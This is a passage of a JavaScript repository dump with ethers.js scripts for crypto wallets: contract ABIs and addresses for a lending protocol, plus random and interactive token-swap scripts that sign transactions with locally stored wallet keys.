catch (error) { 190 | if ( 191 | (error.message && error.message.includes("insufficient balance")) || 192 | error.code === -32603 || 193 | (error.message && error.message.includes("CALL_EXCEPTION")) 194 | ) { 195 | const balanceBN = await wallet.getBalance(); 196 | const formattedBalance = ethers.utils.formatEther(balanceBN); 197 | console.error( 198 | `❌ Wallet - [${walletInfo.address}] is out of funds to deploy this contract. Balance [${formattedBalance}] ${chain.SYMBOL}`.red 199 | ); 200 | } else { 201 | console.error( 202 | `❌ Error deploying contract with wallet ID ${walletInfo.id}: ${error.message}`.red 203 | ); 204 | } 205 | } 206 | } 207 | }) 208 | .catch((err) => { 209 | console.error('❌ An error occurred:', err.message.red); 210 | }); 211 | -------------------------------------------------------------------------------- /actions/NostraFinance/ABI.js: -------------------------------------------------------------------------------- 1 | // actions/NostraFinance/ABI.js 2 | 3 | module.exports = { 4 | WMON_CONTRACT: "0x760AfE86e5de5fa0Ee542fc7B7B713e1c5425701", 5 | USDC_CONTRACT: "0xf817257fed379853cDe0fa4F97AB987181B1E5Ea", 6 | USDT_CONTRACT: "0x88b8E2161DEDC77EF4ab7585569D2415a1C1055D", 7 | CDP_MANAGER: "0x610fd1c98b2a3edca353e39bee378a1256157f62", 8 | 9 | WMON_LENDING_MANAGER_ADDRESS: "0x4130c5F6F9F8A29DC2f421b0c5f02b983F83B2F0", 10 | WMON_LENDING_MANAGER_ABI: [ 11 | { 12 | type: "function", 13 | name: "approve", 14 | stateMutability: "nonpayable", 15 | inputs: [ 16 | { name: "spender", type: "address" }, 17 | { name: "amount", type: "uint256" } 18 | ], 19 | outputs: [] 20 | }, 21 | { 22 | type: "function", 23 | name: "deposit", 24 | stateMutability: "nonpayable", 25 | inputs: [ 26 | { name: "wallet", type: "address" }, 27 | { name: "amount", type: "uint256" } 28 | ], 29 | outputs: [] 30 | }, 31 | { 32 | type: "function", 33 | name: "withdraw", 34 | stateMutability: "nonpayable", 35 | inputs: [ 36 | { name: "from", type: "address" }, 37 | { name: "to", type: "address" }, 38 | { name: "amount", type: "uint256" } 39 | ], 40 | outputs: [] 41 | } 42 | ], 43 | WMON_BORROWER_ADDRESS: "0x813f6149eEC58bA0DD29Bcc97a185257838FD321", 44 | WMON_BORROWER_ABI: [ 45 | { 46 | type: "function", 47 | name: "borrow", 48 | stateMutability: "nonpayable", 49 | inputs: [ 50 | { name: "wallet", type: "address" }, 51 | { name: "amount", type: "uint256" } 52 | ], 53 | outputs: [] 54 | }, 55 | { 56 | type: "function", 57 | name: "repay", 58 | stateMutability: "nonpayable", 59 | inputs: [ 60 | { name: "wallet", type: "address" }, 61 | { name: "amount", type: "uint256" } 62 | ], 63 | outputs: [] 64 | } 65 | ], 66 | 67 | USDC_LENDING_MANAGER_ADDRESS: "0x2904160c12098D248A5838920fBc2cD1849bc438", 68 | USDC_LENDING_MANAGER_ABI: [ 69 | { 70 | type: "function", 71 | name: "approve", 72 | stateMutability: "nonpayable", 73 | inputs: [ 74 | { name: "spender", type: "address" }, 75 | { name: "amount", type: "uint256" } 76 | ], 77 | outputs: [] 78 | }, 79 | { 80 | type: "function", 81 | name: "deposit", 82 | stateMutability: "nonpayable", 83 | inputs: [ 84 | { name: "wallet", type: "address" }, 85 | { name: "amount", type: "uint256" } 86 | ], 87 | outputs: [] 88 | }, 89 | { 90 | type: "function", 91 | name: "withdraw", 92 | stateMutability: "nonpayable", 93 | inputs: [ 94 | { name: "from", type: "address" }, 95 | { name: "to", type: "address" }, 96 | { name: "amount", type: "uint256" } 97 | ], 98 | outputs: [] 99 | } 100 | ], 101 | USDC_BORROWER_ADDRESS: "0x50b1534A08764C54233482C359afa7fCd38Dcd7A", 102 | USDC_BORROWER_ABI: [ 103 | { 104 | type: "function", 105 | name: "borrow", 106 | stateMutability: "nonpayable", 107 | inputs: [ 108 | { name: "wallet", type: "address" }, 109 | { name: "amount", type: "uint256" } 110 | ], 111 | outputs: [] 112 | }, 113 | { 114 | type: "function", 115 | name: "repay", 116 | stateMutability: "nonpayable", 117 | inputs: [ 118 | { name: "wallet", type: "address" }, 119 | { name: "amount", type: "uint256" } 120 | ], 121 | outputs: [] 122 | } 123 | ], 124 | 125 | USDT_LENDING_MANAGER_ADDRESS: "0x81DDFb51480668af035D730D1c81332355414C40", 126 | USDT_LENDING_MANAGER_ABI: [ 127 | { 128 | type: "function", 129 | name: "approve", 130 | stateMutability: "nonpayable", 131 | inputs: [ 132 | { name: "spender", type: "address" }, 133 | { name: "amount", type: "uint256" } 134 | ], 135 | outputs: [] 136 | }, 137 | { 138 | type: "function", 139 | name: "deposit", 140 | stateMutability: "nonpayable", 141 | inputs: [ 142 | { name: "wallet", type: "address" }, 143 | { name: "amount", type: "uint256" } 144 | ], 145 | outputs: [] 146 | }, 147 | { 148 | type: "function", 149 | name: "withdraw", 150 | stateMutability: "nonpayable", 151 | inputs: [ 152 | { name: "from", type: "address" }, 153 | { name: "to", type: "address" }, 154 | { name: "amount", type: "uint256" } 155 | ], 156 | outputs: [] 157 | } 158 | ], 159 | USDT_BORROWER_ADDRESS: "0xD14DD0FFd7033E75A9112C572c62D7810252B1B5", 160 | USDT_BORROWER_ABI: [ 161 | { 162 | type: "function", 163 | name: "borrow", 164 | stateMutability: "nonpayable", 165 | inputs: [ 166 | { name: "wallet", type: "address" }, 167 | { name: "amount", type: "uint256" } 168 | ], 169 | outputs: [] 170 | }, 171 | { 172 | type: "function", 173 | name: "repay", 174 | stateMutability: "nonpayable", 175 | inputs: [ 176 | { name: "wallet", type: "address" }, 177 | { name: "amount", type: "uint256" } 178 | ], 179 | outputs: [] 180 | } 181 | ], 182 | 183 | STANDARD_TOKEN_ABI: [ 184 | { 185 | type: "function", 186 | name: "approve", 187 | stateMutability: "nonpayable", 188 | inputs: [ 189 | { name: "spender", type: "address" }, 190 | { name: "amount", type: "uint256" } 191 | ], 192 | outputs: [ 193 | { name: "", type: "bool" } 194 | ] 195 | }, 196 | { 197 | type: "function", 198 | name: "allowance", 199 | stateMutability: "view", 200 | inputs: [ 201 | { name: "owner", type: "address" }, 202 | { name: "spender", type: "address" } 203 | ], 204 | outputs: [ 205 | { name: "", type: "uint256" } 206 | ] 207 | } 208 | ], 209 | 210 | STANDARD_PROTOCOL_ABI: [ 211 | { 212 | type: "function", 213 | name: "getCollateralData", 214 | stateMutability: "view", 215 | inputs: [ 216 | { name: "asset", type: "address", internalType: "contract IERC20Metadata" } 217 | ], 218 | outputs: [ 219 | { name: "assetCollateralToken", type: "address", internalType: "contract INostraAssetToken" }, 220 | { name: "interestCollateralToken", type: "address", internalType: "contract INostraInterestToken" }, 221 | { name: "collateralFactor", type: "uint256", internalType: "uint256" }, 222 | { name: "isUpdatingCollateralFactor", type: "bool", internalType: "bool" }, 223 | { name: "priceFeed", type: "address", internalType: "contract IPriceFeed" }, 224 | { name: "collateralSupplyCap", type: "uint256", internalType: "uint256" } 225 | ] 226 | }, 227 | { 228 | type: "function", 229 | name: "getDebtData", 230 | stateMutability: "view", 231 | inputs: [ 232 | { name: "debtToken", type: "address", internalType: "contract ILentDebtToken" } 233 | ], 234 | outputs: [ 235 | { name: "assetTier", type: "uint8", internalType: "uint8" }, 236 | { name: "debtFactor", type: "uint256", internalType: "uint256" }, 237 | { name: "isUpdatingDebtFactor", type: "bool", internalType: "bool" }, 238 | { name: "priceFeed", type: "address", internalType: "contract IPriceFeed" } 239 | ] 240 | }, 241 | { 242 | type: "function", 243 | name: "getUserAccountData", 244 | stateMutability: "view", 245 | inputs: [ 246 | { name: "account", type: "address", internalType: "address" } 247 | ], 248 | outputs: [ 249 | { name: "adjustedTotalCollateral", type: "uint256", internalType: "uint256" }, 250 | { name: "adjustedTotalDebt", type: "uint256", internalType: "uint256" }, 251 | { name: "isValidDebt", type: "bool", internalType: "bool" }, 252 | { name: "healthFactor", type: "uint256", internalType: "uint256" } 253 | ] 254 | } 255 | ] 256 | }; 257 | -------------------------------------------------------------------------------- /actions/BeanSwap/random.js: -------------------------------------------------------------------------------- 1 | const { ethers, BigNumber } = require("ethers"); 2 | const chalk = require("chalk"); 3 | const clear = require("console-clear"); 4 | const { RPC_URL, TX_EXPLORER } = require("../../utils/chain"); 5 | const wallets = require("../../utils/wallets.json"); 6 | const { 7 | ROUTER_CONTRACT, 8 | WMON_CONTRACT, 9 | USDC_CONTRACT, 10 | BEAN_CONTRACT, 11 | JAI_CONTRACT, 12 | ABI 13 | } = require("./ABI"); 14 | 15 | const availableTokens = { 16 | MON: { name: "MON", address: null, decimals: 18, native: true }, 17 | WMON: { name: "WMON", address: WMON_CONTRACT, decimals: 18, native: false }, 18 | USDC: { name: "USDC", address: USDC_CONTRACT, decimals: 6, native: false }, 19 | BEAN: { name: "BEAN", address: BEAN_CONTRACT, decimals: 18, native: false }, 20 | JAI: { name: "JAI", address: JAI_CONTRACT, decimals: 18, native: false } 21 | }; 22 | 23 | const tokenKeys = Object.keys(availableTokens); 24 | 25 | function sleep(ms) { 26 | return new Promise((resolve) => setTimeout(resolve, ms)); 27 | } 28 | 29 | function getRandomInt(min, max) { 30 | return Math.floor(Math.random() * (max - min + 1)) + min; 31 | } 32 | 33 | function formatAmount(amount) { 34 | const num = Number(amount); 35 | return (Math.floor(num * 1000) / 1000).toString(); 36 | } 37 | 38 | async function getTokenBalance(provider, walletAddress, token) { 39 | if (token.native) { 40 | const balance = await provider.getBalance(walletAddress); 41 | return ethers.utils.formatUnits(balance, token.decimals); 42 | } else { 43 | const erc20ABI = ["function balanceOf(address) view returns (uint256)"]; 44 | const tokenContract = new ethers.Contract(token.address, erc20ABI, provider); 45 | const balance = await tokenContract.balanceOf(walletAddress); 46 | return ethers.utils.formatUnits(balance, token.decimals); 47 | } 48 | } 49 | 50 | async function approveTokenIfNeeded(wallet, token, amount, routerAddress) { 51 | if (token.native) return; 52 | const erc20ABI = [ 53 | "function approve(address spender, uint256 amount) public returns (bool)", 54 | "function allowance(address owner, address spender) view returns (uint256)" 55 | ]; 56 | const tokenContract = new ethers.Contract(token.address, erc20ABI, wallet); 57 | const allowance = await tokenContract.allowance(wallet.address, routerAddress); 58 | if (allowance.lt(amount)) { 59 | console.log(chalk.cyan(`⚙️ Approving [${token.name}]`)); 60 | await tokenContract.approve(routerAddress, ethers.constants.MaxUint256); 61 | await sleep(1000); 62 | console.log(chalk.cyan(`✅ [${token.name}] Approved`)); 63 | } 64 | } 65 | 66 | async function performSwap(wallet, tokenA, tokenB, swapAmountInput, provider) { 67 | if (tokenA.native && tokenB.name === "WMON") { 68 | const amountIn = ethers.utils.parseEther(swapAmountInput); 69 | const wmonContract = new ethers.Contract(WMON_CONTRACT, ["function deposit() payable"], wallet); 70 | console.log(chalk.cyan(`🔄 Converting MON to WMON via deposit...`)); 71 | const tx = await wmonContract.deposit({ value: amountIn }); 72 | console.log(chalk.cyan(`🚀 Deposit Tx Sent! ${TX_EXPLORER}${tx.hash}`)); 73 | const receipt = await tx.wait(); 74 | console.log(chalk.cyan(`✅ Deposit Confirmed in Block ${receipt.blockNumber}`)); 75 | return; 76 | } 77 | if (tokenA.name === "WMON" && tokenB.native) { 78 | const amountIn = ethers.utils.parseUnits(swapAmountInput, tokenA.decimals); 79 | const wmonContract = new ethers.Contract(WMON_CONTRACT, ["function withdraw(uint256)"], wallet); 80 | console.log(chalk.cyan(`🔄 Converting WMON to MON via withdraw...`)); 81 | const tx = await wmonContract.withdraw(amountIn); 82 | console.log(chalk.cyan(`🚀 Withdraw Tx Sent! ${TX_EXPLORER}${tx.hash}`)); 83 | const receipt = await tx.wait(); 84 | console.log(chalk.cyan(`✅ Withdraw Confirmed in Block ${receipt.blockNumber}`)); 85 | return; 86 | } 87 | const routerContract = new ethers.Contract(ROUTER_CONTRACT, ABI, wallet); 88 | const deadline = Math.floor(Date.now() / 1000) + 6 * 3600; 89 | let path = []; 90 | path.push(tokenA.native ? WMON_CONTRACT : tokenA.address); 91 | path.push(tokenB.native ? WMON_CONTRACT : tokenB.address); 92 | const amountIn = tokenA.native 93 | ? ethers.utils.parseEther(swapAmountInput) 94 | : ethers.utils.parseUnits(swapAmountInput, tokenA.decimals); 95 | const amountsOut = await routerContract.getAmountsOut(amountIn, path); 96 | const expectedOut = amountsOut[amountsOut.length - 1]; 97 | const humanReadableOut = tokenB.native 98 | ? ethers.utils.formatEther(expectedOut) 99 | : ethers.utils.formatUnits(expectedOut, tokenB.decimals); 100 | console.log(chalk.cyan(`🔮 Expected Amount to Receive: [${humanReadableOut} ${tokenB.name}]`)); 101 | if (!tokenA.native) await approveTokenIfNeeded(wallet, tokenA, amountIn, ROUTER_CONTRACT); 102 | if (!tokenB.native) await approveTokenIfNeeded(wallet, tokenB, expectedOut, ROUTER_CONTRACT); 103 | const feeData = await provider.getFeeData(); 104 | const randomGasLimit = getRandomInt(250000, 350000); 105 | const baseFee = feeData.lastBaseFeePerGas || ethers.utils.parseUnits("1", "gwei"); 106 | const maxFeePerGas = baseFee.mul(110).div(100); 107 | const priorityFee = feeData.maxPriorityFeePerGas || ethers.utils.parseUnits("2", "gwei"); 108 | const maxPriorityFeePerGas = priorityFee.mul(110).div(100); 109 | const txOverrides = { 110 | gasLimit: randomGasLimit, 111 | maxFeePerGas, 112 | maxPriorityFeePerGas 113 | }; 114 | let tx; 115 | if (tokenA.native) { 116 | tx = await routerContract.swapExactETHForTokens( 117 | expectedOut, 118 | path, 119 | wallet.address, 120 | deadline, 121 | { value: amountIn, ...txOverrides } 122 | ); 123 | } else if (tokenB.native) { 124 | tx = await routerContract.swapExactTokensForETH( 125 | amountIn, 126 | expectedOut, 127 | path, 128 | wallet.address, 129 | deadline, 130 | txOverrides 131 | ); 132 | } else { 133 | tx = await routerContract.swapExactTokensForTokens( 134 | amountIn, 135 | expectedOut, 136 | path, 137 | wallet.address, 138 | deadline, 139 | txOverrides 140 | ); 141 | } 142 | console.log(chalk.cyan(`🔄 Swapping [${tokenA.name}/${tokenB.name}] - ${swapAmountInput} ${tokenA.name}`)); 143 | console.log(chalk.cyan(`🚀 Swap Tx Sent! ${TX_EXPLORER}${tx.hash}`)); 144 | const receipt = await tx.wait(); 145 | console.log(chalk.cyan(`✅ Tx Confirmed in Block ${receipt.blockNumber}`)); 146 | } 147 | 148 | async function main() { 149 | clear(); 150 | console.log(chalk.green.bold("🤖 BeanSwap Random Swaps 🤖")); 151 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 152 | 153 | for (const w of wallets) { 154 | const wallet = new ethers.Wallet(w.privateKey, provider); 155 | console.log(chalk.yellow(`\nWallet [${wallet.address}]`)); 156 | const swapsToDo = getRandomInt(5, 10); 157 | console.log(chalk.cyan(`👉 Performing ${swapsToDo} random swaps...`)); 158 | 159 | let usedTokenB = []; 160 | 161 | for (let i = 1; i <= swapsToDo; i++) { 162 | console.log(chalk.magenta(`\n[Swap #${i}]`)); 163 | let tokensWithBalance = []; 164 | for (const key of tokenKeys) { 165 | const token = availableTokens[key]; 166 | const balStr = await getTokenBalance(provider, wallet.address, token); 167 | const bal = Number(balStr); 168 | if (bal > 0) tokensWithBalance.push(token); 169 | } 170 | 171 | let tokenA, tokenB; 172 | const onlyMONWMON = 173 | tokensWithBalance.length === 2 && 174 | tokensWithBalance.some(t => t.name === "MON") && 175 | tokensWithBalance.some(t => t.name === "WMON"); 176 | if (onlyMONWMON) { 177 | tokenA = availableTokens["MON"]; 178 | const candidates = Object.values(availableTokens).filter( 179 | t => t.name !== "MON" && t.name !== "WMON" 180 | ); 181 | tokenB = candidates[getRandomInt(0, candidates.length - 1)]; 182 | } else if (tokensWithBalance.length === 0) { 183 | console.log(chalk.red("No tokens with positive balance available. Skipping.")); 184 | break; 185 | } else if (tokensWithBalance.length === 1) { 186 | tokenA = tokensWithBalance[0]; 187 | const possibleB = Object.values(availableTokens).filter( 188 | t => t.name !== tokenA.name 189 | ); 190 | tokenB = possibleB[getRandomInt(0, possibleB.length - 1)]; 191 | } else { 192 | tokenA = tokensWithBalance[getRandomInt(0, tokensWithBalance.length - 1)]; 193 | let tokensForB = tokensWithBalance.filter( 194 | (t) => t.name !== tokenA.name && !usedTokenB.includes(t.name) 195 | ); 196 | if (tokensForB.length === 0) { 197 | tokensForB = Object.values(availableTokens).filter( 198 | t => t.name !== tokenA.name 199 | ); 200 | } 201 | tokenB = tokensForB[getRandomInt(0, tokensForB.length - 1)]; 202 | } 203 | 204 | usedTokenB.push(tokenB.name); 205 | if (usedTokenB.length > 2) usedTokenB.shift(); 206 | 207 | const balanceAString = await getTokenBalance(provider, wallet.address, tokenA); 208 | const balanceA = Number(balanceAString); 209 | let swapAmountFormatted; 210 | if (tokenA.name === "MON" || tokenA.name === "WMON") { 211 | const minVal = 0.02, maxVal = 0.1; 212 | const randomVal = (Math.random() * (maxVal - minVal)) + minVal; 213 | swapAmountFormatted = randomVal.toFixed(3); 214 | } else { 215 | const fraction = getRandomInt(10, 30) / 100; 216 | const swapAmount = balanceA * fraction; 217 | swapAmountFormatted = formatAmount(swapAmount); 218 | } 219 | 220 | console.log(chalk.blue(`Swapping [${tokenA.name}] amount: ${swapAmountFormatted} ${tokenA.name}`)); 221 | 222 | const balanceA_Before = await getTokenBalance(provider, wallet.address, tokenA); 223 | const balanceB_Before = await getTokenBalance(provider, wallet.address, tokenB); 224 | console.log(chalk.gray(`Before Swap - [${tokenA.name}]: ${balanceA_Before}`)); 225 | console.log(chalk.gray(`Before Swap - [${tokenB.name}]: ${balanceB_Before}`)); 226 | 227 | try { 228 | await performSwap(wallet, tokenA, tokenB, swapAmountFormatted, provider); 229 | } catch (err) { 230 | if (err.code === "CALL_EXCEPTION") { 231 | console.log(chalk.red("CALL_EXCEPTION occurred. Please check your inputs and try again.")); 232 | } else { 233 | console.log(chalk.red(`Swap failed: ${err.message}`)); 234 | } 235 | continue; 236 | } 237 | 238 | const balanceA_After = await getTokenBalance(provider, wallet.address, tokenA); 239 | const balanceB_After = await getTokenBalance(provider, wallet.address, tokenB); 240 | console.log(chalk.gray(`After Swap - [${tokenA.name}]: ${balanceA_After}`)); 241 | console.log(chalk.gray(`After Swap - [${tokenB.name}]: ${balanceB_After}`)); 242 | 243 | await sleep(2000); 244 | } 245 | } 246 | console.log(chalk.green.bold("\n✅ All random swaps completed!")); 247 | } 248 | 249 | main().catch((error) => { 250 | console.error(chalk.red("Unexpected error:"), error); 251 | }); 252 | -------------------------------------------------------------------------------- /actions/BeanSwap/swap.js: -------------------------------------------------------------------------------- 1 | const inquirer = require("inquirer"); 2 | const { ethers } = require("ethers"); 3 | const chalk = require("chalk"); 4 | const clear = require("console-clear"); 5 | const { 6 | ROUTER_CONTRACT, 7 | WMON_CONTRACT, 8 | USDC_CONTRACT, 9 | BEAN_CONTRACT, 10 | JAI_CONTRACT, 11 | ABI 12 | } = require("./ABI"); 13 | const { RPC_URL, TX_EXPLORER } = require("../../utils/chain"); 14 | const wallets = require("../../utils/wallets.json"); 15 | 16 | const availableTokens = { 17 | MON: { name: "MON", address: null, decimals: 18, native: true }, 18 | WMON: { name: "WMON", address: WMON_CONTRACT, decimals: 18, native: false }, 19 | USDC: { name: "USDC", address: USDC_CONTRACT, decimals: 6, native: false }, 20 | BEAN: { name: "BEAN", address: BEAN_CONTRACT, decimals: 18, native: false }, 21 | JAI: { name: "JAI", address: JAI_CONTRACT, decimals: 18, native: false }, 22 | }; 23 | 24 | function sleep(ms) { 25 | return new Promise(resolve => setTimeout(resolve, ms)); 26 | } 27 | 28 | async function getTokenBalance(provider, walletAddress, token) { 29 | if (token.native) { 30 | const balance = await provider.getBalance(walletAddress); 31 | return ethers.utils.formatUnits(balance, token.decimals); 32 | } else { 33 | const erc20ABI = [ 34 | "function balanceOf(address) view returns (uint256)", 35 | "function decimals() view returns (uint8)", 36 | ]; 37 | const tokenContract = new ethers.Contract(token.address, erc20ABI, provider); 38 | const balance = await tokenContract.balanceOf(walletAddress); 39 | return ethers.utils.formatUnits(balance, token.decimals); 40 | } 41 | } 42 | 43 | async function approveTokenIfNeeded(wallet, token, amount, routerAddress) { 44 | if (token.native) return; 45 | const erc20ABI = [ 46 | "function approve(address spender, uint256 amount) public returns (bool)", 47 | "function allowance(address owner, address spender) view returns (uint256)" 48 | ]; 49 | const tokenContract = new ethers.Contract(token.address, erc20ABI, wallet); 50 | const allowance = await tokenContract.allowance(wallet.address, routerAddress); 51 | if (allowance.lt(amount)) { 52 | console.log(chalk.cyan(`⚙️ Approving - [${token.name}]`)); 53 | await tokenContract.approve(routerAddress, ethers.constants.MaxUint256); 54 | await sleep(1000); 55 | console.log(chalk.cyan(`✅ [${token.name}] Approved to be Used for Swap`)); 56 | } 57 | } 58 | 59 | async function performSwap(wallet, tokenA, tokenB, swapAmountInput, provider) { 60 | // If converting native MON to WMON, use deposit; if vice versa, use withdraw. 61 | if (tokenA.native && tokenB.name === "WMON") { 62 | const amountIn = ethers.utils.parseEther(swapAmountInput); 63 | const wmonContract = new ethers.Contract(WMON_CONTRACT, ["function deposit() payable"], wallet); 64 | console.log(chalk.cyan(`🔄 Converting MON to WMON via deposit...`)); 65 | const tx = await wmonContract.deposit({ value: amountIn }); 66 | console.log(chalk.cyan(`🚀 Deposit Tx Sent! ${TX_EXPLORER}${tx.hash}`)); 67 | const receipt = await tx.wait(); 68 | console.log(chalk.cyan(`✅ Deposit Confirmed in Block - ${receipt.blockNumber}`)); 69 | return; 70 | } 71 | if (tokenA.name === "WMON" && tokenB.native) { 72 | const amountIn = ethers.utils.parseUnits(swapAmountInput, tokenA.decimals); 73 | const wmonContract = new ethers.Contract(WMON_CONTRACT, ["function withdraw(uint256)"], wallet); 74 | console.log(chalk.cyan(`🔄 Converting WMON to MON via withdraw...`)); 75 | const tx = await wmonContract.withdraw(amountIn); 76 | console.log(chalk.cyan(`🚀 Withdraw Tx Sent! ${TX_EXPLORER}${tx.hash}`)); 77 | const receipt = await tx.wait(); 78 | console.log(chalk.cyan(`✅ Withdraw Confirmed in Block - ${receipt.blockNumber}`)); 79 | return; 80 | } 81 | 82 | const routerContract = new ethers.Contract(ROUTER_CONTRACT, ABI, wallet); 83 | const currentTime = Math.floor(Date.now() / 1000); 84 | const deadline = currentTime + 6 * 3600; 85 | 86 | let path = []; 87 | if (tokenA.native) { 88 | path.push(WMON_CONTRACT); 89 | } else { 90 | path.push(tokenA.address); 91 | } 92 | if (tokenB.native) { 93 | path.push(WMON_CONTRACT); 94 | } else { 95 | path.push(tokenB.address); 96 | } 97 | 98 | const amountIn = tokenA.native 99 | ? ethers.utils.parseEther(swapAmountInput) 100 | : ethers.utils.parseUnits(swapAmountInput, tokenA.decimals); 101 | 102 | const amountsOut = await routerContract.getAmountsOut(amountIn, path); 103 | const expectedOut = amountsOut[amountsOut.length - 1]; 104 | const humanReadableOut = tokenB.native 105 | ? ethers.utils.formatEther(expectedOut) 106 | : ethers.utils.formatUnits(expectedOut, tokenB.decimals); 107 | 108 | console.log(chalk.cyan(`🔮 Expected Amount to Receive: [${humanReadableOut} ${tokenB.name}]`)); 109 | 110 | // Check approval for both tokens (if non-native) 111 | if (!tokenA.native) { 112 | await approveTokenIfNeeded(wallet, tokenA, amountIn, ROUTER_CONTRACT); 113 | } 114 | if (!tokenB.native) { 115 | await approveTokenIfNeeded(wallet, tokenB, expectedOut, ROUTER_CONTRACT); 116 | } 117 | 118 | const feeData = await provider.getFeeData(); 119 | const randomGasLimit = Math.floor(Math.random() * (350000 - 250000 + 1)) + 350000; 120 | const maxFeePerGas = feeData.lastBaseFeePerGas.mul(110).div(100); 121 | const maxPriorityFeePerGas = feeData.maxPriorityFeePerGas.mul(110).div(100); 122 | const txOverrides = { 123 | gasLimit: randomGasLimit, 124 | maxFeePerGas, 125 | maxPriorityFeePerGas, 126 | }; 127 | 128 | let tx; 129 | if (tokenA.native) { 130 | tx = await routerContract.swapExactETHForTokens( 131 | expectedOut, 132 | path, 133 | wallet.address, 134 | deadline, 135 | { value: amountIn, ...txOverrides } 136 | ); 137 | } else if (tokenB.native) { 138 | tx = await routerContract.swapExactTokensForETH( 139 | amountIn, 140 | expectedOut, 141 | path, 142 | wallet.address, 143 | deadline, 144 | txOverrides 145 | ); 146 | } else { 147 | tx = await routerContract.swapExactTokensForTokens( 148 | amountIn, 149 | expectedOut, 150 | path, 151 | wallet.address, 152 | deadline, 153 | txOverrides 154 | ); 155 | } 156 | 157 | console.log(chalk.cyan(`🔄 Swapping - [${tokenA.name}/${tokenB.name}]`)); 158 | console.log(chalk.cyan(`🚀 Swap Tx Sent! ${TX_EXPLORER}${tx.hash}`)); 159 | const receipt = await tx.wait(); 160 | console.log(chalk.cyan(`✅ Tx Confirmed in Block - ${receipt.blockNumber}`)); 161 | } 162 | 163 | async function main() { 164 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 165 | let useSameWallet = false; 166 | let currentWallet; 167 | do { 168 | if (!useSameWallet || !currentWallet) { 169 | const { walletId } = await inquirer.prompt([ 170 | { 171 | type: "input", 172 | name: "walletId", 173 | message: "Please insert the ID for Wallet to perform Swap:", 174 | validate: input => !isNaN(input) && Number(input) > 0 ? true : "Enter a valid wallet ID" 175 | } 176 | ]); 177 | const walletInfo = wallets.find(w => w.id === Number(walletId)); 178 | if (!walletInfo) { 179 | console.log(chalk.magenta("Wallet not found. Try again.")); 180 | continue; 181 | } 182 | currentWallet = new ethers.Wallet(walletInfo.privateKey, provider); 183 | } 184 | 185 | const assetChoices = [ 186 | { name: "MON", value: "MON" }, 187 | { name: "WMON", value: "WMON" }, 188 | { name: "USDC", value: "USDC" }, 189 | { name: "BEAN", value: "BEAN" }, 190 | { name: "JAI", value: "JAI" }, 191 | { name: "Other", value: "OTHER" } 192 | ]; 193 | const { tokenAChoice } = await inquirer.prompt([ 194 | { 195 | type: "list", 196 | name: "tokenAChoice", 197 | message: "Select the asset you want to swap (source):", 198 | choices: assetChoices 199 | } 200 | ]); 201 | let tokenA = tokenAChoice !== "OTHER" ? availableTokens[tokenAChoice] : null; 202 | if (tokenAChoice === "OTHER") { 203 | const otherToken = await inquirer.prompt([ 204 | { type: "input", name: "symbol", message: "Enter token symbol:" }, 205 | { type: "input", name: "address", message: "Enter token contract address:" }, 206 | { type: "input", name: "decimals", message: "Enter token decimals:", validate: input => !isNaN(input) ? true : "Enter a number" } 207 | ]); 208 | tokenA = { 209 | name: otherToken.symbol, 210 | address: otherToken.address, 211 | decimals: Number(otherToken.decimals), 212 | native: false 213 | }; 214 | } 215 | 216 | const { tokenBChoice } = await inquirer.prompt([ 217 | { 218 | type: "list", 219 | name: "tokenBChoice", 220 | message: "Select the asset you want to receive (target):", 221 | choices: assetChoices 222 | } 223 | ]); 224 | let tokenB = tokenBChoice !== "OTHER" ? availableTokens[tokenBChoice] : null; 225 | if (tokenBChoice === "OTHER") { 226 | const otherToken = await inquirer.prompt([ 227 | { type: "input", name: "symbol", message: "Enter token symbol:" }, 228 | { type: "input", name: "address", message: "Enter token contract address:" }, 229 | { type: "input", name: "decimals", message: "Enter token decimals:", validate: input => !isNaN(input) ? true : "Enter a number" } 230 | ]); 231 | tokenB = { 232 | name: otherToken.symbol, 233 | address: otherToken.address, 234 | decimals: Number(otherToken.decimals), 235 | native: false 236 | }; 237 | } 238 | 239 | const balanceA = await getTokenBalance(provider, currentWallet.address, tokenA); 240 | const balanceB = await getTokenBalance(provider, currentWallet.address, tokenB); 241 | console.log(chalk.cyan("💰 Current Balances:")); 242 | console.log(chalk.magenta(`${tokenA.name} - ${balanceA}`)); 243 | console.log(chalk.magenta(`${tokenB.name} - ${balanceB}`)); 244 | 245 | const { swapAmount } = await inquirer.prompt([ 246 | { 247 | type: "input", 248 | name: "swapAmount", 249 | message: `How much ${tokenA.name} would you like to swap?`, 250 | validate: input => !isNaN(input) && Number(input) > 0 ? true : "Enter a positive number" 251 | } 252 | ]); 253 | 254 | await performSwap(currentWallet, tokenA, tokenB, swapAmount, provider); 255 | 256 | const newBalanceA = await getTokenBalance(provider, currentWallet.address, tokenA); 257 | const newBalanceB = await getTokenBalance(provider, currentWallet.address, tokenB); 258 | console.log(chalk.cyan("💰 Current Balances After Swap:")); 259 | console.log(chalk.magenta(`${tokenA.name} - ${newBalanceA}`)); 260 | console.log(chalk.magenta(`${tokenB.name} - ${newBalanceB}`)); 261 | 262 | const { doAnother } = await inquirer.prompt([ 263 | { type: "confirm", name: "doAnother", message: "Would you like to perform another swap?", default: false } 264 | ]); 265 | if (!doAnother) break; 266 | const { useSame } = await inquirer.prompt([ 267 | { type: "confirm", name: "useSame", message: "Would you like to use the same wallet?", default: true } 268 | ]); 269 | useSameWallet = useSame; 270 | clear(); 271 | } while (true); 272 | } 273 | 274 | main().catch(console.error); 275 | -------------------------------------------------------------------------------- /actions/NostraFinance/index.js: -------------------------------------------------------------------------------- 1 | // actions/NostraFinance/index.js 2 | 3 | const inquirer = require("inquirer"); 4 | const { ethers } = require("ethers"); 5 | const chalk = require("chalk"); 6 | const clear = require("console-clear"); 7 | const wallets = require("../../utils/wallets.json"); 8 | const { RPC_URL, TX_EXPLORER, CHAIN_ID, SYMBOL } = require("../../utils/chain.js"); 9 | const ABI = require("./ABI.js"); 10 | 11 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 12 | 13 | // Nueva constante para el contrato CDP_MANAGER 14 | const CDP_MANAGER = "0x610fd1c98b2a3edca353e39bee378a1256157f62"; 15 | 16 | const STANDARD_ERC20_ABI = [ 17 | { 18 | type: "function", 19 | name: "balanceOf", 20 | stateMutability: "view", 21 | inputs: [{ name: "account", type: "address" }], 22 | outputs: [{ name: "", type: "uint256" }] 23 | }, 24 | { 25 | type: "function", 26 | name: "approve", 27 | stateMutability: "nonpayable", 28 | inputs: [ 29 | { name: "spender", type: "address" }, 30 | { name: "amount", type: "uint256" } 